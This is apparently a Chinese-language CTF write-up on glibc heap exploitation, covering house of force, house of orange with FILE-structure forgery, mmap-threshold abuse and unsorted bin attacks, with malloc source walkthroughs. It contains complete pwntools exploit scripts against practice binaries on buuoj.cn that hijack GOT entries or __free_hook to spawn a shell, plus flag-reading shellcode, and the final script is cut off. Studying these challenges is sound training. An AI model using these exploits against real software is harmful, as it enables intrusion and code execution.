这里用的是strcpy,本来没有漏洞,因为我们会自动加上一个\x00,而且malloc的size也溢出不了,但是这里v2在之后赋值,刚好会覆盖掉\x00,导致后面pritnf name泄露了堆地址

image.png

这里也是同理,s输入之后\x00截断会被v2覆盖,然后我们的v3又是在v2的后面,所以strcpy(v2,s)其实是strcpy(v2,s,v2,v3),然后v2堆分配又在v4后面,所以就可以直接溢出到topchunk

1
2
3
4
5
6
7
sa(b"Input your name:\n",b"a"*63+b"b")
ru(b"b")
heap_addr=u32(r(4))#泄露堆地址
top_chunk_addr=0xd0+heap_addr
bss_adr=0x804B120
sa(b"Org:\n",b"a"*64)
sla(b"Host:\n",p32(0xfffffff1))#刚好就覆盖了size,修改为比较大的值

image.png

1
2
3
4
5
6
7
8
9
10
11
add(bss_adr-top_chunk_addr-4-0x10,b"")#通过这一步,我们的top chunk迁移到了bss地方
add(0x18,b"a")#这个堆地址就是我们的bss ptr
add(0x18,b"b")#这个用来修改free got
add(0x18,b"/bin/sh\0")#用来getshell
edit(1,p32(elf.got["puts"])+p32(bss_adr+0x10)+p32(elf.got["free"])+p32(bss_adr+0x40))#由于有00截断,所以要手动填写地址
edit(2,p32(elf.plt["puts"]))#修改free got为put plt
free(0)#泄露libc
libc_base=u32(ru(b"\xf7"))-libc.sym["puts"]
edit(2,p32(libc_base+libc.sym["system"]))#覆盖free got为system
free(3)#getshell
it()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./bcloud_bctf_2016"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 27585
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *0x8048A19
c
x/10xw 0x804B120
x/10xw 0x804B0A0
"""
gdb.attach(io, gdbscript=gdbscript)

def add(size, content):
sla(b"option--->>\n", b"1")
sla(b"length of the note content:\n", str(size))
sla(b"Input the content:\n", content)

def edit(index, content):
sla(b"option--->>\n", b"3")
sla(b"Input the id:\n", str(index))
sla(b"Input the new content:\n", content)

def free(index):
sla(b"option--->>\n", b"4")
sla(b"Input the id:\n", str(index))

sa(b"Input your name:\n",b"a"*63+b"b")
ru(b"b")
heap_addr=u32(r(4))
top_chunk_addr=0xd0+heap_addr
bss_adr=0x804B120
sa(b"Org:\n",b"a"*64)
sla(b"Host:\n",p32(0xfffffff1))

add(bss_adr-top_chunk_addr-4-0x10,b"")
add(0x18,b"a")
add(0x18,b"b")
add(0x18,b"/bin/sh\0")
edit(1,p32(elf.got["puts"])+p32(bss_adr+0x10)+p32(elf.got["free"])+p32(bss_adr+0x40))
edit(2,p32(elf.plt["puts"]))
free(0)
libc_base=u32(ru(b"\xf7"))-libc.sym["puts"]
edit(2,p32(libc_base+libc.sym["system"]))
free(3)
it()

image.png

大概的源代码就是这里

remainder=chunk_af_offset(victim,nb)

我们如果把nb构造合适的值,就可以实现向前或者移动top chunk达到任意地址读写

house of orange

  • 题目中没有给free之类的接口
  • 可以修改top_chunksize

houseoforange_hitcon_2016

BUUCTF在线评测 (buuoj.cn)

挺复杂的一道题目,需要对libc源码有很清晰的分析

image.png

漏洞点分析

首先题目漏洞点很明确,edit可以随意溢出,但问题就是没有free函数
image.png
所以我们要想方设法的free掉内容

攻击前提

  • 可以控制top chunk的size

调试

1
2
3
4
5
6
7
add(0x18,b"a",1,56746)
payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1)
edit(len(payload),payload,1,2)
debug()
add(0x1000,b"a",1,2)
it()
exit(0)

这是分配之前的堆块size,可以看到top chunk size已经变了
image.png
第一次由于会自动malloc一个0x10的块,这里其实就是比较熟悉了,会从剩下的top chunk里面切割,把size变小,然后调整flag
image.png
第二次是我们攻击的关键、
由于我们需要的size大于当前top chunk的size,所以会发生一些奇妙的内容
image.png
这个if肯定就进不去了
image.png
进入到我们熟悉的sysmalloc
image.png
这里会有几个check,主要有以下几个需要伪造,old_size≥MINISIZE,prev_inuse,还有就是会check old_end是否页对齐,也就是低3位是否全是0,
image.png
重新根据需要划分了内存,size就是根据我们需要的nb大小然后页对齐计算的
image.png
重新设置top chunk的位置
image.png
再old_topchunk后面加了两个0x11的块,暂时不知道有什么作用
image.png
如果大小≥MINSIZE,就会free掉,所以我们就成功得到了一个free掉的块,还是unsoerted bin
image.png

泄露libc和堆地址

其实后面的过程就稍微好理解了,就是主要的新知识就在于怎么同时泄露堆地址和libc地址

1
2
3
4
5
6
7
8
add(0x18,b"a",1,56746)
payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1)
edit(len(payload),payload,1,2)
add(0x1000,b"a",1,2)
debug()
add(0x3f8,b"a",1,2)
it()
exit(0)

这里可以看到有个unsorted bin,也就是上面我们free掉top chunk得到的,那么接下来就是要重新认识一下unsorted bin
image.png
第一次分配0x10
image.png
当fastbin和smallbin都无法分配的时候,就会进入unsorted bin,这里while循环就是逐步从unsorted bin里面取,当victim=unsorted_chunks的时候就表示里面没有unsorted bin可用了
image.png
这里由于我们的unsorted bin是last_remainder,所以他会判断如果请求的大小可以满足,就直接分割就好
image.png
这里其实过程很简单,修改size大小,修改unsorted bin里面的指针指向新的内容,也更新了av→last_remainder的信息
image.png
上面就是unsorted bin的第一种分配特征,如果当前的unsorted bin里面只有一个last_remainder,如果大小合适的话就直接切割,然后修改信息就好
第二次我们分配一个比较大的,在large bin里面的size
image.png
首先上面那个if是不会进入了,所以我们就进入后面的操作
第一步就是把unsorted bin从链子上取下来
image.png
从这里开始就是尝试去把这个unsorted bin放入到largebin里面
image.png
这里面由于是空的所以if失败
这一步暂时不知道是是什么意思,因为fd_nextsize是指向不同大小的
image.png
mark_bin的作用就是标记对应binmap里面有chunk,后面就是完成large bin的上链
image.png
然后就会重新进到while循环里面去,这个时候由于unsorted bin空了,所以退出
image.png
然后就找到了我们刚刚从unsorted bin里面放入到large bin里面的chunk了
image.png
首先就是把这个larege bin取下来,然后由于remainder_size》MINIsize,又被重新放回unsorted bin
image.png
设置对应的信息
image.png
这里面就是逐步遍历,按照最小匹配原则去寻找
但这里比较奇怪的就是av→last_remainder没有被指到最新的unsorted bin
但因为之后有一个calloc比较小的,有下面这样的操作,当从large bin里面取内容的时候,如果剩下的大小≥MINISIZE,就会被放入unsorted bin中,当请求的nb在smallbin里面,就会把这个剩下的unsoretd bin放入到last_remainde,为什么需要这么判断呢
因为如果请求的是一个smallbin范围的,前面的过程说明small bin,unsorted bin都没有,也表明当前的remainder也没有,所以这个时候我们就可以合理的更新last_remainder位当前这个unsorete bin,但是下面这个操作我是真的没看懂,因为remainder→fd_nextsize是空的,不知道为什么还要弄成NULL,难道不应该把 victim的弄成NULL嘛
image.png
所以unsorted bin的时候,只要第一个if的判断是否,那么就会进入后面的解链操作,如果大小在large bin范围就会放入largebin里面,当然第一个判断位true,那就直接从remainder里面切割
接下来就是泄露libc和堆地址,因为这里是printf,所以需要两次,第一次泄露libc,第二次就是把泄露堆地址
image.png

1
2
3
4
5
6
7
8
9
10
11
12
add(0x18,b"a",1,56746)
payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1)
edit(len(payload),payload,1,2)
add(0x1000,b"a",1,2)
add(0x3f8,b"a",1,2)
show()
ru(b"Name of house : ")
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))-0x7feee024d161+0x7feedfe88000
edit(0x10,b"a"*0x10,1,2)
show()
ru(b"Name of house : aaaaaaaaaaaaaaaa")
heap_addr=u64(rld().ljust(8,b"\0"))

攻击malloc_printrr

首先利用unosrted bin attack往IO_list_all写入main_arena地址,然后利用这个过程中会

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
add(0x18,b"a",1,56746)
payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1)
edit(len(payload),payload,1,2)
add(0x1000,b"a",1,2)
add(0x3f8,b"a",1,2)
show()
ru(b"Name of house : ")
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))-0x7feee024d161+0x7feedfe88000
edit(0x10,b"a"*0x10,1,2)
show()
ru(b"Name of house : aaaaaaaaaaaaaaaa")
heap_addr=u64(rld().ljust(8,b"\0"))


payload=p64(0)*0x7f+p64(0x21)+p64(0)*2+b"/bin/sh\0"+p64(0x61)+p64(0)+p64(libc_base+libc.sym["_IO_list_all"]-0x10)#unsorted bin attack+fake size
fake_IO_structure=p64(0)+p64(1)+p64(0)*0x15+p64(heap_addr+0x500)
payload+=fake_IO_structure
fake_vtable=p64(0)*3+p64(libc_base+libc.sym["system"])
payload+=fake_vtable
edit(len(payload),payload,1,2)
sla(b"Your choice : ", b"1")
it()

这里我们主要做了就是修改unsorted bin的size,并且修改了bk指针(unosrted bin attack)
image.png
这里因为bck被修改了,所以肯定不等于,所以跳过
这里之后就是我说过的
只要过了if判断,并且size≠nb,那么就会接链(unsorted bin attack),分配到对应的small bin,large bin
_IO_list_all被修改
image.png
这里我们利用放入到smallbin的性质
image.png
成功链入
image.png
回到while
但这个时候明显我们unsorted bin坏掉了
因为刚才解链的操作导致下一个chunk是我们的伪造的bk,这个大小是0,所以会进入malloc_printerr
image.png
我们刚好就要利用的就是malloc_printerr
image.png
malloc_printerr会经过一些系列的调用链来到_IO_flush_all_lockp,可以打IO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;


last_stamp = _IO_list_all_stamp;//0
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;

if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;
}

#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif

return result;
}

现在再来解释为什么要伪造size
刚才看到了,我们把main_arena上面写入了堆地址,是通过把unsorted bin放入small bin来实现的
image.png
可以看到我们写入的0x61的size刚好对应的是IO结构的_chain,也就是我们可以伪造下一个file结构
为什么不直接修改vtable呢,我们可以看这个堆地址,由于需要伪造的OVERfloww刚好是第4个函数,所以他处在的位置是我们不可以直接伪造的,所以只能通过上面这种利用方法来打
image.png
下面再看
_IO_flush_all_lockp

1
2
3
4
# define _IO_flockfile(_fp) \
if (((_fp)->_flags & _IO_USER_LOCK) == 0) \
_IO_lock_lock (*(_fp)->_lock)
这个_IO_USER_LOCK为0x8000,如果if为真,那么我们就直接会完蛋,因为下面这个函数执行会出错

而main_arena里面对应的mode>0,所以第二个if也跳过

1
2
3
# define_IO_funlockfile(_fp) \
if (((_fp)->_flags &_IO_USER_LOCK) == 0) \
_IO_lock_unlock (*(_fp)->_lock)

感觉这个exp不稳定就是_IO_flockfile引起的,所以有时候会挂掉,额不管了就是还是直接打就好
第二次就进入了我们伪造的file结构,要保证
mode≤0,write_ptr>write_base
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91

from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./houseoforange_hitcon_2016"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x4526A, 0x45216, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []


if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port =27842
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)


def debug():
gdbscript = """
b *$rebase(0xD68)
b *$rebase(0xDA5)
c
x/xg $rebase(0x203070)
x/3xg $rebase(0x203068)
"""
gdb.attach(io, gdbscript=gdbscript)


#<=010000
def add(size,content,price,color):
sla(b"Your choice : ", b"1")
sla(b"Length of name ",str(size))
sa(b"Name :",content)
sla(b"Price of Orange:",str(price))
sla(b"Color of Orange:",str(color))




def show():
sla(b"Your choice : ", b"2")

def edit(size,content,price,color):
sla(b"Your choice : ", b"3")
sla(b"Length of name ",str(size))
sa(b"Name:",content)
sla(b"Price of Orange:",str(price))
sla(b"Color of Orange:",str(color))


add(0x18,b"a",1,56746)
payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1)
edit(len(payload),payload,1,2)
add(0x1000,b"a",1,2)
add(0x3f8,b"a",1,2)
show()
ru(b"Name of house : ")
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))-0x7feee024d161+0x7feedfe88000
edit(0x10,b"a"*0x10,1,2)
show()
ru(b"Name of house : aaaaaaaaaaaaaaaa")
heap_addr=u64(rld().ljust(8,b"\0"))


payload=p64(0)*0x7f+p64(0x21)+p64(0)*2+b"/bin/sh\0"+p64(0x61)+p64(0)+p64(libc_base+libc.sym["_IO_list_all"]-0x10)#unsorted bin attack+fake size
fake_IO_structure=p64(0)+p64(1)+p64(0)*0x15+p64(heap_addr+0x500)
payload+=fake_IO_structure
fake_vtable=p64(0)*3+p64(libc_base+libc.sym["system"])
payload+=fake_vtable
edit(len(payload),payload,1,2)
sla(b"Your choice : ", b"1")
it()

把mmap出来的块用top chunk分配

secretHolder_hitcon_2016

BUUCTF在线评测 (buuoj.cn)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89

from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./secretHolder_hitcon_2016"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x4526A, 0x45216, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 28722
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *0x400AF8
b *0x4009D2
c
x/4xg 0x06020A0
"""
gdb.attach(io, gdbscript=gdbscript)

def add(size: int, content: bytes):
sla(b"3. Renew secret\n", b"1")
sla(b"3. Huge secret\n", str(size).encode())
sa(b"secret: \n", content)

def free(index: int):
sla(b"3. Renew secret\n", b"2")
sla(b"3. Huge secret\n", str(index).encode())

def edit(index: int, content: bytes):
sla(b"3. Renew secret\n", b"3")
sla(b"3. Huge secret\n", str(index).encode())
sa(b"secret: \n", content)

add(3, b"a")
free(3)
add(1, b"a")
add(2, b"a")
free(2)
free(1)
ptr = 0x6020A8
payload = (
p64(0)
+ p64(0x21)
+ p64(ptr - 0x18)
+ p64(ptr - 0x10)
+ p64(0x20)
+ p64(0x90)
+ p64(0) * 17
+ p64(0x21)
+ p64(0) * 3
+ p8(1)
)
add(3, payload)
free(2)
add(1, b"a")
edit(3, p64(0) * 2 + p64(elf.got["puts"]) + p64(ptr - 8) + p64(elf.got["free"]))
edit(1, p64(elf.plt["puts"]))
free(2)
libc_base = u64(ru(b"\x7f").ljust(8, b"\0")) - libc.sym["puts"]
edit(
3,
p64(libc_base + next(libc.search(b"/bin/sh\0"))) + p64(ptr) + p64(elf.got["free"]),
)
edit(1, p64(libc_base + libc.sym["system"]))
free(2)
it()

这个题目的删除函数只会把flag位清空,但可以一直free

image.png

edit会在flag为1编辑

image.png

首先分析free函数

image.png

no_dyn_threshold为0,表示我们开启了动态threshold大小,这就是导致漏洞的根源,利用动态调整大小来扩大top chunk可以分配的范围

mp_.mmap_threshold初始大小为0x20000,DEAFUALT大小为0x2000000,这里我们刚好满足

image.png

所以我们这里调整了threshold的值,这里因为用mmap分配的时候有页对齐,0x61A80对齐到了0x62000

image.png

这里free之后我们比较一下两次sysmalloc的区别

image.png

第一次由于是初始状态所以走mmap分配

第二次由于我们修改之后所以if不满足

image.png

开始走topochunk分配

image.png

计算需要的size nb就是malloc的size+0x10,mp_.top_pad就是0x20000

image.png

同时当分配largebin的时候,如果有free的fastbin,会把fastbin合并

image.png

malloc_consolidate首先把main_arena的flag清空,表示没有free的fastbin

image.png

大循环就是fb从fastbiny[0]的地址一直到fastbiny[10]的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
fb = &fastbin (av, 0);
do {
p =atomic_exchange_acq (fb, 0);,把fastbin里面的值改成0,头结点的值取出来
if (p != 0) {//内循环就是处理每个同样size的fastbin空闲链表
do {
check_inuse_chunk(av, p);
nextp = p->fd;

/* Slightly streamlined version of consolidation code in free() */
size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
nextchunk =chunk_at_offset(p, size);
nextsize =chunksize(nextchunk);

if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p =chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);//fastbin也可以触发unlink
}

if (nextchunk !=av->top) {
nextinuse =inuse_bit_at_offset(nextchunk, nextsize);

if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd);//合并的时候就算是fastbin也会尝试向前向后合并
} else
clear_inuse_bit_at_offset(nextchunk, 0);

first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;

if (!in_smallbin_range (size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}

set_head(p, size |PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}

else {
size += nextsize;//如果下一个是top chunk直接合并到top chunk
set_head(p, size |PREV_INUSE);
av->top = p;
}

} while ( (p =nextp) != 0);

}
} while (fb++ != maxfb);//maxfb = &fastbin (av, NFASTBINS - 1); #define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)

top chunk上移

actf_2019_actfnote

BUUCTF在线评测

这个题目很不错里面有strdup来分配堆,由于strdup的原字符串保存在栈上,而栈上刚好也有可以泄露libc地址的东西,同时可以溢出修改top chunk的size然后分配一个负数,就会上移

malloc的size不能再-0x40~0这个范围内

不错的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *
import ctypes

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./ACTF_2019_ACTFNOTE"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 26733
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *0x400A20
c
x/4xg 0x6020E0
"""
gdb.attach(io, gdbscript=gdbscript)

# <=0x20
def add(size: int, name: bytes, content: bytes):
sla(b"/$ ", b"1")
sla(b"note name size: ", str(size).encode())
sa(b"input note name: ", name)
sa(b"note content: ", content)

def free(index: int):
sla(b"/$ ", b"3")
sla(b"input note id: ", str(index).encode())

def show(index: int):
sla(b"/$ ", b"4")
sla(b"input note id: ", str(index).encode())

def edit(index: int, content: bytes):
sla(b"/$ ", b"2")
sla(b"input note id: ", str(index).encode())
sa(b"input new note content: ", content)

def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out

add(0x18, "a", "b" * 0x17 + "\xde")
show(0)
ru(b"\xde")
libc_base = u64(ru(b"\x7f").ljust(8, b"\x00")) - 0x7FB6238E23F2 + 0x7FB623854000
add(0x18, b"a", b"a")
edit(1, b"/bin/sh\0" + b"a" * 0x10 + p64(-15 + (1 << 64)))
add(-0x100, "a", "2")
edit(2, b"a" * 0x10 + p64(libc_base + libc.sym["__free_hook"]))
edit(0, p64(libc_base + libc.sym["system"]))
free(1)
it()

unsorted bin attack

cscctf_2019_final_childrenheap

BUUCTF在线评测 (buuoj.cn)

同样利用unsorted bin attack,不过在我们利用unsorted bin attack修改free——hook上方之前可以先free掉0xx68的块,这样不需要修复unsorted bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./cscctf_2019_final_childrenheap"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 28960
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *$rebase(0xD48)
c
x/10xg $rebase(0x2020A0)
x/5xg $rebase(0x202060)
"""
gdb.attach(io, gdbscript=gdbscript)

def add(index: int, size: int, content: bytes):
sla(b">> ", b"1")
sla(b"Index: ", str(index).encode())
sla(b"Size: ", str(size).encode())
sa(b"Content: ", content)

def free(index: int):
sla(b">> ", b"4")
sla(b"Index: ", str(index).encode())

def show(index: int):
sla(b">> ", b"3")
sla(b"Index:", str(index).encode())

def edit(index: int, content: bytes):
sla(b">> ", b"2")
sla(b"Index: ", str(index).encode())
sa(b"Content: ", content)

add(0, 0x18, b"a")
add(1, 0x68, b"a")
add(2, 0x18, b"a")
add(3, 0xF8, b"a")
add(4, 0x18, b"a")
free(0)
edit(2, p64(0) * 2 + p64(0xB0))
free(3)
add(0, 0x18, b"a")
show(1)
ru(b"content: ")
libc_base = u64(ru(b"\x7f").ljust(8, b"\0")) - 0x7F26245F0B78 + 0x7F262422C000
add(3, 0x68, b"a")
add(5, 0x100, b"a")
free(2)
add(2, 0x28, b"a")
add(6, 0xE8, b"a")
free(2)
global_max_fast_offset = 0x3C67F8
edit(5, p64(0) + p64(libc_base + global_max_fast_offset - 0x10))
add(2, 0x28, b"a")
free(6)
edit(
5,
p64(0) * 5
+ p64(0x21)
+ p64(0)
+ p64(libc_base + libc.sym["__free_hook"] - 0x1D)
+ p64(0)
+ p64(0xD1),
)
free(3)
add(6, 0x18, b"a")
edit(1, p64(libc_base + libc.sym["__free_hook"] - 0x10))
add(3, 0x68, b"/bin/sh\0")
add(7, 0x68, p64(libc_base + libc.sym["system"]))
free(3)
it()

rctf_2019_babyheap

BUUCTF在线评测

这个题目挺复杂的,需要好好分析

感想都在下面

这里就是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./rctf_2019_babyheap"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
global_max_fast_offset = 0x3C67F8
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
lobal_max_fast_offset = 0x0
else:
one_gadget = []
lobal_max_fast_offset = 0x0

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 29090
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
# calloc b *$rebase(0x10FE)
gdbscript = """
b *$rebase(0x11E7)
c
x/10xg $rebase(0x202110)
"""
gdb.attach(io, gdbscript=gdbscript)

# <=4096 无洞
def add(size: int):
sa(b"Choice: \n", b"1")
sa(b"Size: ", str(size).encode())

# 不会溢出
def edit(index: int, content: bytes):
sa(b"Choice: \n", b"2")
sa(b"Index: ", str(index).encode())
sa(b"Content: ", content)

def free(index: int):
sa(b"Choice: \n", b"3")
sa(b"Index: ", str(index).encode())

def show(index: int):
sa(b"Choice: \n", b"4")
sa(b"Index: ", str(index).encode())

def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out

def convert_frame_bytes(frame):
res = b""
for i in frame.values():
res += p64(i)
return res

add(0x18) # 0
add(0x18) # 1
add(0xF8) # 2
add(0x600) # 3
free(0)
edit(1, p64(0) * 2 + p64(0x40))
free(2)
add(0x18) # 0
show(1)
libc_base = u64(rld().ljust(8, b"\0")) + 0x7F6913DBD000 - 0x7F6914181B78
add(0x118) # 2
free(1)
add(0x28) # 1
add(0xE8) # 4
free(1)
global_max_fast_addr = libc_base + global_max_fast_offset
edit(2, p64(0) + p64(global_max_fast_addr - 0x10))
add(0x28) # 1
free(4)

free_hook_addr = libc_base + libc.sym["__free_hook"]
edit(
2,
p64(0) * 5
+ p64(0x71)
+ p64(0)
+ p64(free_hook_addr - 0x20)
+ p64(0) * 11
+ p64(0x81),
)

add(0x68)
free(4)
edit(2, p64(0) * 5 + p64(0x71) + p64(free_hook_addr - 0x13))
add(0x68)
add(0x68)
new_addr = free_hook_addr & 0xFFFFFFFFFFFFF000
mprotect_addr = libc.sym["mprotect"] + libc_base
frame = SigreturnFrame()
frame.rsp = free_hook_addr + 0x8
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = mprotect_addr
edit(3, convert_frame_bytes(frame))
setcontext_addr = libc_base + libc.sym["setcontext"]
shellcode = f"""
xor rsi,rsi;
xor rdx,rdx;
push rdx;
mov rax,{convert_str_asmencode("././flag")};
push rax;
mov rdi,rsp;
xor rax,rax;
mov al,2;
syscall;
mov rdi,rax;
mov dl,0x40;
mov rsi,{free_hook_addr}
mov al,0;
syscall;
xor rdi,rdi;
mov al,1;
syscall;
"""
read_shellcode = f"""
xor rsi,rsi;
